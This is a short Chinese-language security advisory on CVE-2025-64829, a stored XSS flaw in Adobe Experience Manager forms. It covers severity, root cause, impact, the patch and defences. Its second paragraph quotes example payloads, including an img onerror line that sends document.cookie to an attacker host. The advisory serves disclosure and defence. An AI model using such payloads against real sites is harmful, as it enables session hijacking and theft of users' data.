CVE-2025-64829Adobe Experience Manager(AEM)是Adobe公司的企业级内容管理解决方案,广泛应用于全球各大组织。2025年12月,Adobe官方披露了编号为CVE-2025-64829的安全漏洞,该漏洞影响AEM 6.5.23及更早版本。漏洞类型为存储型跨站脚本(Stored XSS),攻击者可利用低权限账户在存在漏洞的表单字段中注入恶意JavaScript脚本。由于恶意脚本被存储在服务器端,所有访问包含该表单页面或内容的用户都会自动执行攻击payload,可能导致会话劫持、敏感信息窃取、页面篡改或进一步的组织内部攻击。CVSS 3.1评分5.4,中危等级,主要风险在于需要用户交互触发且攻击者需要低权限账户。由于AEM通常承载企业重要业务内容和用户数据,此类XSS漏洞可能造成严重的数据安全风险和信任危机。Adobe已在安全公告APSB25-115中发布修复补丁,建议所有AEM用户立即升级至安全版本。
漏洞根因在于Adobe Experience Manager的表单处理模块对用户输入内容缺乏充分的输入验证和输出编码。攻击者(即使只有低权限账户)可以在表单字段(如文本输入框、文本区域、自定义字段等)中注入恶意HTML/JavaScript代码。AEM系统在保存内容时未对特殊字符进行适当过滤或转义,直接将用户输入存储到数据库或内容仓库中。当其他用户通过浏览器访问包含该恶意内容的页面时,浏览器会解析并执行存储的恶意脚本。攻击者常使用的payload包括:<script>alert(document.cookie)</script>、<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>等。由于攻击代码被永久存储在服务器端,此漏洞比反射型XSS危害更大,攻击范围更广。攻击成功后可实现:窃取用户会话cookie进行账户劫持、提取页面敏感信息、修改页面内容进行钓鱼攻击、植入进一步攻击的恶意代码等。防御措施包括:对所有用户输入进行严格的输入验证、采用输出编码防止脚本执行、配置内容安全策略(CSP)限制脚本来源等。